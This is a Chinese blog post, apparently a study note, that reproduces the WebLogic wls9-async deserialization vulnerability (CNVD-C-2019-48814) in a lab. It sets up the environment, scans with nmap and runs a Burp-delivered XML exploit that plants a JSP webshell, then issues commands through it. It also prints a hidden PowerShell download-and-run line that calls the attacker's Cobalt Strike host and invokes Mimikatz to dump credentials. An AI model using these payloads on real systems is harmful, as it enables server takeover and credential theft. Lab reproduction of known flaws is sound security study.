WebLogic wls9-async 反序列化漏洞(CNVD-C-2019-48814)复现

    /_async/AsyncResponseService路径下传入恶意的xml格式的数据,传入的数据在服务器端反序列化时,执行其中的恶意代码,实现远程命令执行,攻击者可以进而获得整台服务器的权限。

把对象转换为字节序列的过程称为对象的序列化;把字节序列恢复为对象的过程称为对象的反序列化
对象的序列化主要有两种用途:

1) 把对象的字节序列永久地保存到硬盘上,通常存放在一个文件中;

2) 在网络上传送对象的字节序列。

	在很多应用中,需要对某些对象进行序列化,让它们离开内存空间,入住物理硬盘,以便长期保存。比如最常见的是Web服务器中的Session对象,当有 10万用户并发访问,就有可能出现10万个Session对象,内存可能吃不消,于是Web容器就会把一些seesion先序列化到硬盘中,等要用了,再把保存在硬盘中的对象还原到内存中。

当两个进程在进行远程通信时,彼此可以发送各种类型的数据。无论是何种类型的数据,都会以二进制序列的形式在网络上传送。发送方需要把这个Java对象转换为字节序列,才能在网络上传送;接收方则需要把字节序列再恢复为Java对象。

  1. 准备环境:
    (1)kali 2.0
    (2)windows server 2008 R2
    (3)jdk-8u68-windows-x64 , 在安装jdk时,要避免在路径中出现空格及中文。
    在这里插入图片描述
    (4)weblogic服务器安装包 12.1.3
    在这里插入图片描述

  2. server 2008 服务器上安装jdk,并配置环境变量。在cmd输入java和javac后不报错即配置成功。
    WebLogic wls9-async 反序列化漏洞(CNVD-C-2019-48814)复现_第1张图片
    WebLogic wls9-async 反序列化漏洞(CNVD-C-2019-48814)复现_第2张图片

  3. 安装weblogic:把下载的weblogic的安装包放到jdk的bin目录下:
    WebLogic wls9-async 反序列化漏洞(CNVD-C-2019-48814)复现_第3张图片
    cd 到jdk的bin目录下,执行安装weblogic,命令如下:

    java -jar fmw_12.1.3.0.0_wls.jar
    在这里插入图片描述
    安装成功后:进行配置服务器,配置成功后点击startWeblogic.cmd 启动服务器:
    WebLogic wls9-async 反序列化漏洞(CNVD-C-2019-48814)复现_第4张图片

  4. 完成上述操作后,基本的环境已经搭建完成。打开浏览器,输入以下的URL,成功回显则环境搭建完成:

    http://192.168.15.108:7001/console/login/LoginForm.jsp

WebLogic wls9-async 反序列化漏洞(CNVD-C-2019-48814)复现_第5张图片
5. 判断是否存在漏洞,输入URL:http://192.168.15.108:7001/_async/AsyncResponseService
在这里插入图片描述
出现上面的内容表明可能出现CNVD-C-2019-48814漏洞。
6. 使用nmap扫描,使用脚本weblogic-wls9-async.nse(脚本要自己另行导入,在网上下载后,添加到/usr/shar/nmap的script的目录下):
使用命令 nmap --script=weblogic-wls9-async.nse 192.168.15.108
WebLogic wls9-async 反序列化漏洞(CNVD-C-2019-48814)复现_第6张图片
已经扫描出漏洞
7. 进行漏洞利用,在kali中使用burp拦截/_async/AsyncResponseService数据包发送到repeater,修改method,修改新增字段的值,把context-type修改成text/xml
WebLogic wls9-async 反序列化漏洞(CNVD-C-2019-48814)复现_第7张图片
8.在post的data中添加下面的漏洞利用poc:

   
    xxxx
    
    
    
    servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/webshell.jsp
    ");          
            while((a=in.read(b))!=-1){
                out.println(new String(b));          
            }
            out.print("");
}
%>]]>

返回值如下:
WebLogic wls9-async 反序列化漏洞(CNVD-C-2019-48814)复现_第8张图片9. 成功后访问
http://192.168.15.108:7001/bea_wls_internal/webshell.jsp?pwd=123&cmd=whoami
WebLogic wls9-async 反序列化漏洞(CNVD-C-2019-48814)复现_第9张图片
可以看到已成功拿到shell,尝试查询系统信息:
http://192.168.15.108:7001/bea_wls_internal/webshell.jsp?pwd=123&cmd=systeminfo
WebLogic wls9-async 反序列化漏洞(CNVD-C-2019-48814)复现_第10张图片
到此已经完成简单的对weblogic反序列化漏洞的进行利用。

  1. 使用cs完成反弹shell:
    ·使用的payload来源:
    [https://github.com/SkyBlueEternal/CNVD-C-2019-48814-CNNVD-201904-961]

该反弹shell模块只能用于windows系统:

   
 
xx
xx




cmd


/c


powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.15.128:80/a'))"; Invoke-Mimikatz -DumpCreds"








(1)开启cobalt strike,创建listener
192.168.15.128 是kali主机的地址
WebLogic wls9-async 反序列化漏洞(CNVD-C-2019-48814)复现_第11张图片
(2)点击攻击,使用web脚本传递

WebLogic wls9-async 反序列化漏洞(CNVD-C-2019-48814)复现_第12张图片
(3)生成powershell

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.15.128:80/a'))"

将其插入到payload 对应位置:

WebLogic wls9-async 反序列化漏洞(CNVD-C-2019-48814)复现_第13张图片

(4)使用burp上传payload,获取反弹shell;
WebLogic wls9-async 反序列化漏洞(CNVD-C-2019-48814)复现_第14张图片

你可能感兴趣的:(学习笔记)